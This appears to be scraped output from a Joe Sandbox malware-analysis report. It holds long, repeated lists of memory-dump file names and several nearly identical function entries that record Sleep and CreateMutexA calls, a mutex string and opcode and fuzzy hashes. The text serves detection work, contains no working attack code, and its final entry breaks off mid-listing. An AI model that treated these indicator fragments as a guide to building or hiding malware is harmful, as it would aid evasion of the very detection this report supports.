Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 11b097076b6f65fcc3ad8771297ca754a46e4e4d78927f0f95bd1884027d31ff
Instruction ID: 8e8495667c5825c37b12b0200327b23c6d6b838c4949b18496a2ef0243db4197
Opcode Fuzzy Hash: 11b097076b6f65fcc3ad8771297ca754a46e4e4d78927f0f95bd1884027d31ff
Instruction Fuzzy Hash: 63312A71F182409BFB1C9BB8CC89B6DB773EBC5314F24421AE0149B3D1C77659808756

Function 006DA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: dcfecb64cec42bfd5c97ebc8014b09ec5810c12c91765f727ecd3fb178fa9107
Instruction ID: 9d9f7b6d85b23572fe2f19315003ca6e22efc97e7cc8278ca3c261a92383a372
Opcode Fuzzy Hash: dcfecb64cec42bfd5c97ebc8014b09ec5810c12c91765f727ecd3fb178fa9107
Instruction Fuzzy Hash: DC312871F182419BFB1C9BB8DC89B5DB763ABC6310F24421AE054AB3D1C77A9A808756

Function 006DA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 18b12dd29afb6e1abcda3a72e10a63bada6fd0efc3402d7accbb95af7dbc60ea
Instruction ID: ae1cb6972492e5b02d509c7b22c802273c5bbbf9a739cc825379b2ae77bcca45
Opcode Fuzzy Hash: 18b12dd29afb6e1abcda3a72e10a63bada6fd0efc3402d7accbb95af7dbc60ea
Instruction Fuzzy Hash: 3E313971F18200DBFB1C9BB8D89DBADB7A3EBC1314F20421AE054AB3D5C77959808766

Function 006DA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 0224eec63fb862762efa9437ca3f5a243f1ef83db32bd37e11ad0070ab4fbfd8
Instruction ID: 7aec4e1346ca00cc9f6cab816e87f26c5c25e2f018b76c8927052789cc3df708
Opcode Fuzzy Hash: 0224eec63fb862762efa9437ca3f5a243f1ef83db32bd37e11ad0070ab4fbfd8
Instruction Fuzzy Hash: 0E314871F18240CBFB18DBB8DC99B6DB763EBC5314F24821AE054AB3D1C77989808766

Function 006DA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
CreateMutexA.KERNEL32(00000000,00000000,00733254), ref: 006DA981

Strings

T2s, xrefs: 006DA970

Memory Dump Source

Source File: 00000005.00000002.1738420714.00000000006D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000005.00000002.1738392264.00000000006D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738420714.0000000000732000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738498315.0000000000739000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738524335.000000000073B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738552523.0000000000747000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738664373.000000000089F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738694581.00000000008A1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738751149.00000000008B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738775172.00000000008B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008BA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738798621.00000000008C1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1738869946.00000000008CD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739106486.00000000008CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739300633.00000000008D5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1739458113.00000000008D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740002581.00000000008DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740203238.00000000008DE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740358655.00000000008E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740480395.00000000008E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740642183.00000000008F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1740803947.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741008306.00000000008FD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741281132.0000000000908000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741415045.0000000000922000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741440655.0000000000923000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741470310.000000000092B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741838806.0000000000931000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741871925.0000000000932000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1741904105.0000000000934000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742011348.0000000000935000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742107765.0000000000938000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742145984.0000000000941000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742229550.0000000000943000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742288074.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742353795.0000000000947000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742377264.0000000000948000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742406592.000000000094E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742430940.0000000000956000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742457166.000000000095A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742480406.000000000095B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742504622.000000000095C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742528303.000000000095D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742552844.0000000000963000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742577741.0000000000972000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742603144.0000000000973000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742634162.0000000000994000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.0000000000996000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742658568.00000000009A1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742711355.00000000009D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742736275.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742760564.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742785724.00000000009D7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742811142.00000000009D9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742835606.00000000009E7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1742857233.00000000009E8000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6d0000_KXEO11ILDTYX6ZOG0B.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2s
API String ID: 1464230837-2961714057
Opcode ID: 387a2b021b37cc38e2a7bce358a924f1f3bde725f996789ddf5510c1a8df4e27
Instruction ID: a5a37d54c14a031730a22a743a0b1001c01e60a1b9274af167cca5f623c34152
Opcode Fuzzy Hash: 387a2b021b37cc38e2a7bce358a924f1f3bde725f996789ddf5510c1a8df4e27
Instruction Fuzzy Hash: B3312771F18240CBFB189BB8DC99B6DB773EBC5310F24861AE014AB3D1C77589808756

Function 006D9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 006DA963
